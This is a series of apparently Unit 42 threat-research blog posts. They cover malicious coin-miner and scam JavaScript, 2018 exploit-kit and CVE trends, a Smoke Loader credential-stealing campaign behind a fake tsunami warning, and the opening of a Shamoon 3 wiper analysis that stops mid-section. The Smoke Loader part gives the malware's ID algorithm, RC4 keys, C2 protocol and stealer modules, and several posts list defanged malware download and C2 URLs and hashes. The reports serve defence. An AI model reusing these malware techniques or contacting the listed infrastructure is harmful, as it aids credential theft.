It is worth mentioning that we detected many cases when the same web page rotates coin miners from visit to visit or hosts several different coin mining libraries at the same time. For examples, such pairs as Coinhive and JSE-Coin, or Crypto-Loot and NeroHut are common. Figure 3 illustrates a screenshot for one of such case, when both libraries start to mine immediately after visiting the page. Due to these occurrences, the overall number of detected mining scripts for one month (9,104) was greater than the overall number of unique URLs (8,712).

Figure 3. Example of a website with two active coin miners

Results for Scam JavaScript

As for other malicious JavaScripts (excluding coin miners), we were able to detect around 184 additional URLs per day, and around 143 new URLs. Figure 4 shows the daily detection rates. As shown, rates for the overall detected URLs and newly discovered URLs are much closer to each other than on Figure 1 for coin miners. This means that URLs hosting scam-related JavaScript are shorter lived and are less likely to be observed for many days in a row.

Figure 4. Daily detection rate of scam URLs

Outside of coin miner JavaScript attacks, we also discovered 4,788 non-mining malicious samples with the distribution seen in Figure 6. As we mentioned earlier, technical support scams and fake Flash update scams were the most popular malicious campaigns of November 2018 (examples of such malicious pages are shown on Figure 5). At the same time, other types of malicious scam campaigns include phishing kits, clickjacking kits, fake reward and other kinds of modern scams.

Figure 5. Screenshots of the most popular scam pages in November 2018

 

Figure 6. Top recently observed on-mining malicious JavaScripts

Particularly interesting is the case of technical support scam pages, which trick users into calling and paying scammers or installing unwanted programs. Analyzing these pages revealed evidence indicating they may all be associated with a single actor group. First, of the 1,989 found URLs that lead to technical support scams, at least 1,668 resulted in the same page with the same screenshot, such as the one shown on the left of Figure 6. These pages were showing JavaScript popups with the same alarming text:

Second, many recent landing pages of these URLs were hosted on domains that followed the same pattern according to the regex below (for example, “gaf9342[.]space” and “gba9462[.]site”).

In comparison, the Fake flash update pages were more adaptive to the victim, showing different pages in cases of Google Chrome vs. Internet Explorer, and MS Windows vs. Mac OS. In addition, fake Flash campaigns update their popup texts more frequently. For example, below is the most common text in fake Flash on-page alerts:

It is important to emphasize that exact text matches of such alerts would result in a limited number of detections, instead we train our models based on the most significant terms associated with scams. Therefore, we are prepared for different text randomization and obfuscation tricks that attackers may apply, such as double spaces between key words as with “Flash Player” above, injection of new lines, and messages in other languages.

Other types of malicious JavaScript, such as redirectors/injectors, droppers, and exploits were not as widely detected by behavior-based approaches in November (less than 1% according to Figure 6). Such threats includes simpler scripts such as redirectors, which usually just drop an iframe on the page, do not usually use global variables. Palo Alto Networks implements other techniques to detect such malicious scripts. For example, we analyze all sub-requests originating from the page during crawling, including requests from injected malicious iframes and scripts. As for exploit kits – we inspect OS-level behavior of the exploit kits within a high-interaction Windows/IE environment.

Malicious Domain Analysis

Overall, we discovered 8,712 coin mining URLs which resolve to 7,654 distinct domains. In addition to coin mining, we detected 4,633 URLs with other malicious scripts which resolve to 2,666 domains. We looked up both sets of domains in our passive DNS (pDNS) database, which gave us the ability to estimate both their life span and popularity. Figure 7 is a scatter plot showing how many days each domain was active and how many times it was resolved (or in other words, how popular is the domain).

Figure 7. Life span vs. popularity of malicious URLs

Based on Figure 7 we can infer that coin mining domains are significantly more popular and longer-living, whereas other malicious domains usually live less than 100 days and receive less than 10,000 DNS resolutions (lower cluster of blue dots). This is not surprising as scam and phishing campaigns eventually get discovered and blocked, and thus have to rotate their domains. Contrastingly, coin miners usually fall into a grey zone, being malicious enough that users want to block the mining, while not always being enough reason to permanently block a domain or shutdown a server. Even many reputable websites deliberately incorporate coin miners, forcing their visitors to agree with that in exchange for ‘free’ content access.

As we see on Figure 7, some  domains are extremely prevalent, receiving more than tens of millions DNS resolutions and living for more than 4 years. These examples include domains directly related to mining (such as, “coinhive[.]com” and “moonbit[.]co[.]in”), as well as various websites with high-demand content (such as, “xxgasm[.]com”, “seriesfree[.]to”, “rumorfix[.]com”, and “gooddrama[.]net”). Interestingly, on the scatter plot we also see domains with many DNS requests, but with a shorter life cycle. We suspect that those are cases when an illegitimate website is registered and becomes very popular. For example, “indoxxi[.]cool” offering online movies lived for only 14 days, but already has 63,694 resolutions in pDNS records.

Examples of non-mining malicious JavaScripts are usually hosted on specially-crafted domains, such as, “win32-0x2ndt-firewall-error[.]gq” (technical support scam), “www2[.]betterdealupgradeaflash[.]icu” (fake Flash update), or “paypal-verificationupdate[.]obay[.]me” (phishing). Or in general, on less popular websites. One may notice that on Figure 7 there are also rare cases of highly popular and long-living scam domains. For example, these are domains of URL shorteners (e.g., “ow[.]ly” and “smarturl[.]it”), domains serving ads and frequently used by scam campaigns (e.g., “blank[.]com” and “elitedollars[.]com”). Similarly, popular but illegitimate websites (e.g., “mytorrents[.]org” and “yourmovie[.]org”) also exist over longer period of time.

After analyzing Alexa rankings for TLD+1 domains (e.g. xyz.com instead of abc.xyz.com) of the detected coin mining domains, we were surprised to find that the majority of them, namely 66.9%, were in Alexa’s top million at least for one day during that month. Moreover, 1,295 coin mining domains remained in the top million, including 37 domains in the first 10,000. On one hand, these results suggest that when reputable websites begin to adopt mining, they are likely to drop out from the top popular websites. On the other hand, we are still alarmed by the high number of unauthorized coin miners among the Alexa’s top million websites. Figure 8 shows the distribution of 1,295 coin mining domains we detected across Alexa’s rank ranges, and we clearly see that unauthorized miners dominate even in the top 100,000.

In contrast, only 71 from non-mining malicious JavaScript domains were found in Alexa’s top million, including 7 in the top 10,000. One of the most popular examples for both mining and non-mining categories of malicious JavaScripts were websites hosted on “blogspot[.]com”, since each subdomain consists of a completely different website.

Figure 8. Rank distribution of coin mining domains in Alexa's Top Million

Table 1 lists the most popular TLDs, which serve coin miners and other malicious scripts. As we see, the [.]icu TLD was abused the most in November to distribute different kinds of scams. Regarding coin mining domains, most of them reside on the more reputable [.]com TLD, which matches our previous finding that miners are often times present on more popular and long living websites (such as blogs, video downloads, and torrents).

Coin miners Malicious JS
TLD # Domain TLD # Domain
com 3487 icu 1299
ir 394 com 409
net 337 club 290
ru 319 xyz 83
org 285 tk 61
br 206 cf 49
tk 111 net 32
info 108 ga 27
de 91 ml 23
in 91 online 22

Table 1. Top 10 TLDs Serving coin miners and malicious JavaScript

In order to understand the geography of malicious websites, we translated their IP addresses into locations. Figure 8 shows the country-level distribution of the IPs for coin miners, while Figure 9 illustrates the map for other malicious JavaScript. One may notice that coin mining websites cover more countries, though both maps show the majority of servers are located in US.

Figure 8. Country-level distribution of coin mining IPs

Figure 9. Country-level distribution of IPs serving non-mining Malicious JS

Customer Impact

During one month, our customers attempted to visit 6,804 coin mining URLs out of the 8,712 described above. Overall, we registered more than 1.1 million requests towards these websites from more than 30,000 devices. Similarly, our telemetry data reveals that 4,476 scam URLs (out of 4,633) were requested by our customers more than 243,000 times from 12,000 unique devices around the globe.

Such extensive impact on real web users puts malicious JavaScript campaigns as one of the most common threats on the modern web. Therefore, light-weight dynamic methods to detect obfuscated malicious code, which can be run on a large scale, are extremely important for proactive protection.

Conclusion

Behavioral analysis of JavaScript is important ammunition against modern threats, such as unauthorized coin miners and numerous scam campaigns. Such behavioral signatures as global variable, alert texts, and WebSocket messages, while helpful, are not the only dynamic information that helps in detecting malicious scripts. At Palo Alto Networks, we set ourselves to continue improving the detection methods of online threats and protecting our customers.

Intrusive coin miners continue to be one of the main threats on the Web, but only a few mining libraries are trending based on the past month. In addition to the most well-known Coinhive library, only JSE-Coin, Crypto-Loot and CoinImp are noticeably present. Coin mining domains are significantly longer living and more popular in comparison to scam campaigns, which makes accurately blocking them crucial for our customers’ protection. With behavioral analysis we can separate unauthorized coin mining, and detect not only the inclusion of mining libraries but also the mining process by itself.

Technical support scams and fake Flash update scams are the next most prevalent types of malicious JavaScript after coin miners. It is very important to discover and block these websites before any user visits them.

As of now, we continue to scan the web on a daily basis, enriching our database of malicious websites. As a result, Palo Alto Networks customers are protected from websites hosting malicious JavaScripts via PAN-DB URL Filtering and DNS signatures as part of the Threat Prevention subscription.

Indicators of Compromise

In the files below, we list all the URLs that lead to coin miners and scam JavaScript, which were released to PANDB based on the results described above (note, some of those URLs are malicious gateways that may lead to different landing pages).

coin_mining_urls

scam_js_urls

Web-based Threats-2018 Q3: Malicious URLs and Domains take a Dip

Posted on by Bo Qu

Executive Summary

Our Email Link Analysis (ELINK) system is routinely reviewed by our Unit 42 research team. In examining the data it collects, patterns and trends are discovered which helps us discern prevalent web threats. This blog is the third (3rd quarter of 2018) in a series of posts tracking web-based threats throughout the year, specifically statistics pertaining to malicious URLs, domains, exploit kits, and CVEs.

During Quarter 3 (Q3), July – September, a notable shift occurred with the malicious URL and domain data; there was a significant drop in the number of malicious URLs as well as a drop in malicious domains that will be discussed below. In addition, we will be covering an interesting malicious Flash SWF that exploits CVE-2015-5119.

URLs

Based on our analysis of data from Q3 of 2018, we’ve observed a reduction in malicious URLs. The total number dropped around 40% from Q2. As you can see below in Figure 1, Q1 had the highest number of malicious URLs thus far, coming in at 1583. The total for Q2 was much less with 1373 seen, making Q3, with 783 recorded malicious URLs, an overall sizable drop.

Figure 1. Malware URLs from Q1 to Q3 2018

These malicious URLs have also been broken down by countries. Out of the 783 URLs, the United States still dominates the top 5 list of hosting countries with 331 malicious URLs recorded as shown below in Figure 2. The top three are consistent in ranking with our Q2 analysis that can be seen here.

Figure 2. Top 5 malicious URL hosting countries from Q3 2018

Domains

Although not as drastic of a decline in numbers as malicious URLs, the number of malware hosting domains has also decreased from last quarter. From 464 malware hosting domains in Q2 to 310 in Q3 as seen in Figure 3 below.

Figure 3. Malware domains from Q1 to Q3 2018

 In monitoring the domain hosting data, a pattern has emerged. Since the beginning of the year, the same top 5 countries are present: United States, Russia, China, Hong Kong, and the Netherlands. These results may not seem surprising, especially the top 3, but it’s always interesting to see the movement of numbers throughout the quarters which are detailed in Figure 4 below.

 Figure 4. Malware domains in Q1 2018

Exploit Kits

Unlike Q2, we did not observe a major difference between the distribution of two major exploit kit families we are tracking, Grandsoft/Sundown/Rig and Kaixin. In Q2, we noticed a clear geographic distribution between the two families. Kaixin was heavily seen in China and Grandsoft/Sundown/Rig in the US. However, from the data in Q3, the boundary between the two exploit kits is ambiguous. In Q3 there is a shift, more Kaixin exploit kits are hosted in US.

  Figure 5. Kaixin EK distribution.

Figure 6. Grandsoft/Sundown/Rig EK distribution.

In addition to the two major exploit kit families, two samples of Terror EK and nine samples of Fallout EK were found in Q3.

Vulnerabilities

The recorded CVEs have not changed much since the beginning of 2018. The top 3 vulnerabilities in Q3 are the same as in Q2. Table 1 shows the rundown of the most common CVEs since Q1.

 

Q1 Top CVE Q1 top Trigger Q2 Top CVE Q2 top Trigger Q3 Top CVE Q3 top Trigger
1 CVE-2014-6332 774 CVE-2016-0189 472 CVE-2016-0189 225
2 CVE-2016-0189 219 CVE-2018-8174 291 CVE-2018-8174 139
3 CVE-2015-5122 85 CVE-2014-6332 67 CVE-2014-6332 50

Table 1. Most triggered CVE Q1 to Q3 2018

 Most of the currently exploited CVEs are not new. In fact, although they didn’t make the top 3 list, the exploitation of a decade old CVEs are still showing up in our data. Below is an overview of the CVEs that have been triggered in our ELINK system.

CVE-2008-1309: The RealAudioObjects.RealAudio ActiveX control in rmoc3260.dll in RealNetworks RealPlayer Enterprise, RealPlayer 10, RealPlayer 10.5 before build 6.0.12.1675, and RealPlayer 11 before 11.0.3 build 6.0.14.806 does not properly manage memory for the (1) Console or (2) Controls property, which allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via a series of assignments of long string values, which triggers an overwrite of freed heap memory.

CVE-2008-1472: Stack-based buffer overflow in the ListCtrl ActiveX Control (ListCtrl.ocx), as used in multiple CA products including BrightStor ARCserve Backup R11.5, Desktop Management Suite r11.1 through r11.2, and Unicenter products r11.1 through r11.2, allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a long argument to the AddColumn method.

CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE-2009-0075：Microsoft Internet Explorer 7 does not properly handle errors during attempted access to deleted objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to CFunctionPointer and the appending of document objects, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-0806：Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-3973: The WMITools ActiveX control in WBEMSingleView.ocx 1.50.1131.0 in Microsoft WMI Administrative Tools 1.1 and earlier in Microsoft Windows XP SP2 and SP3 allows remote attackers to execute arbitrary code via a crafted argument to the AddContextRef method, possibly an untrusted pointer dereference, aka "Microsoft WMITools ActiveX Control Vulnerability."

CVE-2012-1889：Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE-2014-6332：OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka "Windows OLE Automation Array Remote Code Execution Vulnerability."

CVE-2016-0189：The Microsoft (1) JScript 5.8 and (2) VBScript 5.7 and 5.8 engines, as used in Internet Explorer 9 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-0187.

CVE-2018-8174：A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

CVE-2015-5119 Exploit Still Used in the Wild

The vulnerability CVE-2015-5119 was found in the Hacking Team leak in 2015. This critical vulnerability in Adobe Flash Player can allow remote attackers to execute arbitrary code. In Q3, we detected a malicious Flash file utilizing vulnerability CVE-2015-5119 in the wild.

Exploit Framework

On August 27th, 2018, our ELINK system found a URL in a porn site embedded with a malicious Flash file that takes advantage of CVE-2015-5119. It’s interesting to point out how the attacker weaponized this exploit in the wild.

The exploit code takes advantage of the vulnerability by assigning a large number to one of the vector objects. Through the corrupted vector object, the attacker has Read&Write privileges to modify the entire process memory. This is typically the first step for attackers when hijacking the control flow. Next, by calling the native Flash function, the exploit code assigns the memory permission to Read Write Execute (RWE) as shown in Figure 9. Finally, the exploit code changes the content of the stack and eventually hijacks the control flow.

 Figure 7. Exploit code changed shellcode memory permission

After the Adobe Flash Player is fully controlled, the exploit code executes the real shellcode for the last stage of the exploit.

The shellcode is highly obfuscated for thwarting the process of reverse engineering. After the shellcode loads specified libraries, it creates a thread to connect the C2 with the specified user agent which then verifies the response from the C2. The shellcode extracts the XOR key from the C2 response and decrypts all the C2 content as a new shellcode. At this point, it would be possible for remote attackers to fully control the victim’s machine by executing the shellcode from the C2.

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious URLs globally. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits.

While our ELINK system indicates 10-year-old vulnerabilities still being exploited, most of the vulnerabilities showing up were discovered within the last 5 years.

In Q3, the United States based domains hosting the Kaixin exploit kit almost doubled from Q2. This significant change was surprising considering the total number of domains drastically dropped. It also reveals the geographic division for the various exploit kits are ambiguous.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help better understand the threat trends in the wild.

 

 

Analysis of Smoke Loader in New Tsunami Campaign

Posted on by Kaoru Hayashi

On November 8th, the Japanese Meteorological Agency issued an alert about a fake tsunami warning email masquerading as coming from the agency. According to the alert, the email was written in Japanese and asked recipients to click the link to confirm their evacuation area from a tsunami after an earthquake. The link in the email is not critical information to save your life but malware to steal crucial information from you. The malware is Smoke Loader, infamous commodity malware used by various cybercriminals since 2011.

Smoke Loader is a modular loader where attackers can select any payload to be installed on the victim by Smoke Loader. Thus, the final payload can vary between attacks. For example, we previously reported on the Retefe Banking Trojan being distributed by Smoke Loader in Sweden, and Japan. We have also seen backdoors, ransomware, cryptominers, password stealers, Point-of-Sale (PoS) malware, and banking Trojans installed by Smoke Loader.

This attack seems to be aiming to steal credentials from unidentified targets in Japan and took a similar approach to normal targeted attacks. The attacker registered the fake Japanese government agency domain and ensured the file path to the malware on the server is close to the legitimate agency web site. They wrote the lure email in fluent Japanese and did not distribute it broadly. In late November, the attacker started using another commodity malware known as AzoRult. Figure 1 shows the timeline of this attack.

Figure 1 Time line of the attack

 

Smoke Loader Analysis

Though it’s been seven years since Smoke Loader first appeared, the author keeps updating the code. Malwarebytes published an excellent analysis of Smoke Loader in 2016. The samples we looked at added the following techniques to avoid detection or analysis.

  • Code obfuscation by junk jump
  • Decrypts subroutines and encrypts them after execution
  • Employs PROPagate trick to inject second stage code into an explorer.exe process
  • Changes the algorithm of generating the unique ID
  • Encrypts network traffics and payload file

Some of these techniques were already reported by FireEye and Talos this year. We will focus on the unique ID, C2 communication, and the payload in this blog.

 

Generating a unique ID

Initially, the threat generates a unique ID for the compromised machine from the computer name, the hardcoded static number(0B0D0406), and the volume serial number of the system drive. Smoke Loader uses the unique ID for three purposes:

  • Tracking the compromised machine at C2.
  • Encrypting payload by the ID.
  • Creating random file names for persistence.

Here’s how to create the unique ID. If the computer name is “Test_PC” and the volume serial number is “12345678”, the threat appends the three values like the following:

"Test_PC" + "0B0D0406" + "12345678" = "Test_PC0B0D040612345678"

and it calculates the MD5 hash value of the string,

MD5("Test_PC0B0D040612345678") = 41EE612602833345FC5BD2B98103811C

It then appends the volume serial to the hash value and gets the 40 characters unique ID.

"41EE612602833345FC5BD2B98103811C" + "12345678" = "41EE612602833345FC5BD2B98103811C12345678"

Next, Smoke Loader generates two strings based on the first eight characters and the last eight characters of the ID. Following is the algorithm written in Python.

 

Smoke Loader uses these strings for the file name. It copies itself as follows.

%APPDATA%\Microsoft\Windows\[stringA\[stringB].exe

and it creates following shortcut file to execute the threat when the computer starts.

%StartUp%\[stringA].lnk

These two strings look random. However, the attacker always generates two identical strings to the compromised machine since it is based on the static values of the environment.

 

C2 Communication

Smoke Loader contains the following hardcoded C2 address.

jma-go[.]jp/js/metrology/jma.php

An outline of initial C2 communication follows.

  1. Smoke Loader sends the encrypted data to C2 by HTTP POST method.
  2. C2 server replies HTTP 404 response (Not Found) with encrypted data.
  3. Smoke Loader extracts the plugin from C2, encrypts it by using the unique ID, and saves it local disk.
  4. Smoke Loader extracts the payload modules from the encrypted plugin file and injects them into an Explorer.exe process.

Figure 2 Initial communication

 

Making initial POST data

Smoke Loader creates the data to send C2. At offset 0, there is a marker ‘E207’ followed by the unique ID (Figure 3). The marker is ‘072E’ in little-endian form and ‘2018’ in decimal. Smoke Loader uses the marker every time communicating with C2.

Figure 3 POST data

 

Smoke Loader finally encrypts the data with RC4 cipher by using the static key 0x161A9A0C and send it to the C2 by HTTP POST method.

 

Plugin from C2

The C2 server responds the plugin data contains the final payload with HTTP 404 status code. Smoke Loader obtains the encrypted header size from the first DWORD value of the plugin and decrypts the following bytes with RC4 cipher by the different static key 0x1D17D70A. Figure 4 shows the plugin data after decryption. It then verifies the marker ‘E207’ and gets the plugin size which is defined in the "plugin_size’ variable.

Figure 4 Reply data from C2

After checking the plugin size, Smoke Loader encrypts plugin data with an RC4 cipher using the unique ID and saves it as the following path with the generated string from the ID. Since the file is encrypted with the distinct value to the machine, the file hash is always different on each computer even if the plugin is identical.

%APPDATA%\Microsoft\Windows\[stringA]\[stringA]

Then Smoke Loader decrypts the saved plugin data. The plugin data has thirteen-byte length header and consists from following values.

Offset Size Value
0x00 DWORD Plugin size
0x04 DWORD Plugin marker, 0xD5A08DD8
0x08 DWORD Unknown, possible plugin identifier
0x0C BYTE Number of modules in the plugin

Table 1 Plugin header

 

The plugin can contain multiple modules. In the case of this tsunami campaign, the payload contains six modules. Each module has a header that includes its size and RC4 key to decrypt.

Figure 5 Plugin header and module header

Smoke Loader decrypts a module with RC4 cipher by the specified key. After verifying architecture flag (64 bit or 32 bit) in the module, the threat executes Explorer.exe process and injects the module into the process. Since the threat repeats this the number of modules times, there should be multiple Explorer.exe processes on the compromised machine.

 

Payload Modules

Table 2 shows the list of modules in this campaign. There are three types of functions in two architectures.

Module Architecture Function
1 32 bit Stealing stored credential from browsers and email programs
2 64 bit Incomplete porting of Module 1
3 32 bit Stealing data sending from Browsers
4 64 bit Same with Module 3
5 32 bit Stealing login credential from email protocols
6 64 bit Same with Module 5

Table 2 Module list

When injecting modules, Smoke Loader passes the configuration data including the following values to the modules for C2 communication. Each module has exact same C2 communication code with the loader.

  • RC4 encryption key for HTTP POST
  • The unique ID
  • C2 URL

Module 1

This module aims to steal stored credentials in following programs.

  • Internet Explorer
  • Firefox
  • Chrome
  • Opera
  • Chromium
  • Yandex
  • Amigo
  • QQBrowser
  • Outlook
  • Thunderbird
  • WinSCP

Module 2 contains a partial code of Module 1 but appears to be in the under development phase.

Modules 3 and 4

These modules hook APIs and steals all data being sent data from following browsers.

  • Firefox
  • Internet Explorer
  • Edge
  • Chrome
  • Opera

Modules 5 and 6

These modules hook APIs and steals user id, password, and their associated remote ftp and email server addresses on following protocols.

  • FTP on port 21
  • SMTP on port 25, 587, 2525
  • POP3 on port 110
  • IMAP on port 143

 

Infrastructures and another tools

A person registered the domain name jma-go[.]jp on Oct 30, 2018. The domain does not have a second level domain name, such as .co.jp nor .ne.jp. It is defined as General-use JP domain name by JPNIC. In the definition, JPNIC described the registration requirements of the general-use JP domain name as following.

‘In the general-use JP domain name system, we have established what we call a "local presence" prerequisite, which asks for a connection or relationship with Japan.‘

According to the Whois information of the domain, the domain was owned by a person who has a postal address in Russia and uses a Gmail address. The registrant may change the postal address after registration or could prove a connection or relationship with Japan.

The same person also registered another eight domains with the same Gmail address. We found that the three of the domains were used in attacks involving the Android banking trojan/password stealing malware, Marcher from Feb to March in 2018. We haven’t identified the targets of the mobile malware yet. Following is the sample list.

 

Domain Marcher SHA256
Sungmap[.]at 254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827
Mountainhigh[.]at 75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
Racemodel[.]at 55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8

Table 3 Domains and Marcher hashes

 

On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.

www.jma-go[.]jp/java/java9356/index.php

We observed three AzoRult samples using the same C2 at the time of writing this blog. The attacker distributes those files from following URLs.

  • thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
  • bite-me.wz[.]cz/1.exe

thunderbolt-price[.]com was registered in 2012 in Japan, and the Privacy Protection Service protects its registrant information. The website of the domain does not host content at the top page as of today. According to the Google search, the domain appears in shopping related pages from 2014 to 2015. Interestingly, those web pages are low-quality and mostly hosted on hacked web servers. These web pages are likely created for malicious Search Engine Optimization (SEO) backlinks which gain scores for better page rank in the search engine results. Figure 6 is a ladies’ shoes shopping web page hosted on the website of a construction and building materials company in Turkey.

Figure 6 SEO backlinks on hacked site

 

The domain may have been used for a shopping or affiliate site previously, but the owner does not use it for that purpose anymore. It looks like the attacker compromised the website, which had not been used for few years, and is using it for distributing AzoRult. However, we don’t know the connection between the attacker and the current owner of the thunderbolt-price[.]com.

Table 4 shows the timetable of infrastructure changes and timestamp of malware.

Date Activities
Oct 30, 2018 Registers jma-go[.]jp domain
Nov 5, 2018 Smoke Loader

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
Nov 6, 2018 Smoke Loader

8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d

0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277

be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
Nov 8, 2018 Smoke Loader

27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
Nov 9, 2018 Smoke Loader

42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
Nov 15, 2018 Smoke Loader

fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
Nov 24, 2018 AzoRult

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3
Nov 25, 2018 Smoke Loadera

1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139
Nov 27, 2018 AzoRult

7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
Nov 30, 2018 Changes the IP address associates with jma-go[.]jp

from 47.74.255[.]111 to 149.129.135[.]53
Dec 3, 2018 AzoRult7

48c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Table 4 Timetable

 

Conclusion

Commodity malware is widely used by cyber criminals these days. The authors of malware keep updating the code to expand the capabilities and trying to gain more customers. As we detailed in this article, Smoke Loader encrypts network traffic and files with various keys to avoid analysis. We recently published a report of a new variant of AzoRult that introduces a new advanced obfuscation technique to evade detection by security products. Attackers, like those in this tsunami campaign, can pick up malware fitting for their purpose from online threat marketplaces.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Smoke Loader, AzoRult and Marcher.
  • WildFire detects all files mentioned in this report with malicious verdicts.
  • Traps blocks all of the files described in this article.

 

IoC

Smoke Loader Samples

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d
0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277
be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
a1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139

AzoRult Samples

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3 
7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
748c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Marcher Samples

55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8 
75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827

Infrastructures

http://jma-go[.]jp/js/metrology/jma.php
http://www.jma-go[.]jp/java/java9356/index.php
http://jma-go[.]jp/jma/tsunami/tsunami_regions.scr
http://thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
http://bite-me.wz[.]cz/1.exe
https://racemodel[.]at
https://mountainhigh[.]at
https://sungmap[.]at

 

Appendix

.bits domain support

Smoke Loader supports .bit Top Level Domains (TLD). Author of the threat includes the following hard-coded DNS servers to resolve .bit domains. Though we haven’t seen any .bit domain in Tsunami campaign, we listed the IP addresses just in case for another attack by the threat.

192.71.245[.]208
58.251.121[.]110
101.226.79[.]205
188.165.200[.]156
185.121.177[.]177
185.121.177[.]53
144.76.133[.]38
169.239.202[.]202
5.135.183[.]146
193.183.98[.]66
51.254.25[.]115
51.255.48[.]78

Shamoon 3: Modified Open-Source Wiper Contains Verse from the Quran

Posted on by Robert Falcone

Unit 42 has continued researching the Shamoon 3 attacks that impacted an oil and gas organization earlier this month. During our continued research, we identified another wiper Trojan potentially related to the incident that involved the infamous Disttrack Trojan. The potentially related wiper is a modified variant of the open-source SuperDelete tool whose source code is readily available on Github. We have evidence that this wiper was on the same system that was running the Disttrack executables and had a kernel driver saved to “C:\Windows\hdv_725x.sys”, which was the location where the Disttrack wiper saved the ElDos RawDisk driver in order to wipe files on the system.

The developer of this wiper used SuperDelete’s source code and modified it to create a new variant. The resulting variant is a wiper Trojan written in C# that contains no additional functionality outside of deleting files on the system, so unlike prior Disttrack samples, it is unable to spread to other systems on the network. Unlike the Disttrack wiper, the SuperDelete variant does not rely on a kernel driver to wipe files on the system. Instead, the SuperDelete wiper overwrites user files with random data before deleting them, which makes recovery of the files difficult without available backups. The most interesting part of the SuperDelete variant is that the developer intentionally added a religiously-charged message from a verse in the Quran, which it does not display prior to wiping the system and would only be discovered by individuals performing a thorough analysis of the tool.

Through continued analysis of the wiper based on the SuperDelete source code, we discovered two executables that we believe the actors used to execute the wiper on multiple systems by propagating the wiper from a single system on the compromised network to other hosts. We refer to the two supporting executables as a Loader Trojan and the Spreader Trojan, which would likely be loaded on one compromised system on the network and used as a centralized point to distribute the wiper to remote systems. A similar centralized distribution approach was also used in the Shamoon 2 attacks and discussed in our analysis on how actors distributed Disttrack.

 

Loader Trojan

The Loader Trojan (SHA256:d9e5266371...) is a very simple tool that loads a list of text files containing hostnames that the actor wants to propagate to. These text files contain a list of hostnames and their respective Windows version that the actor must have created based on prior reconnaissance activities. The Loader Trojan will execute an associated Spreader Trojan for each text file.

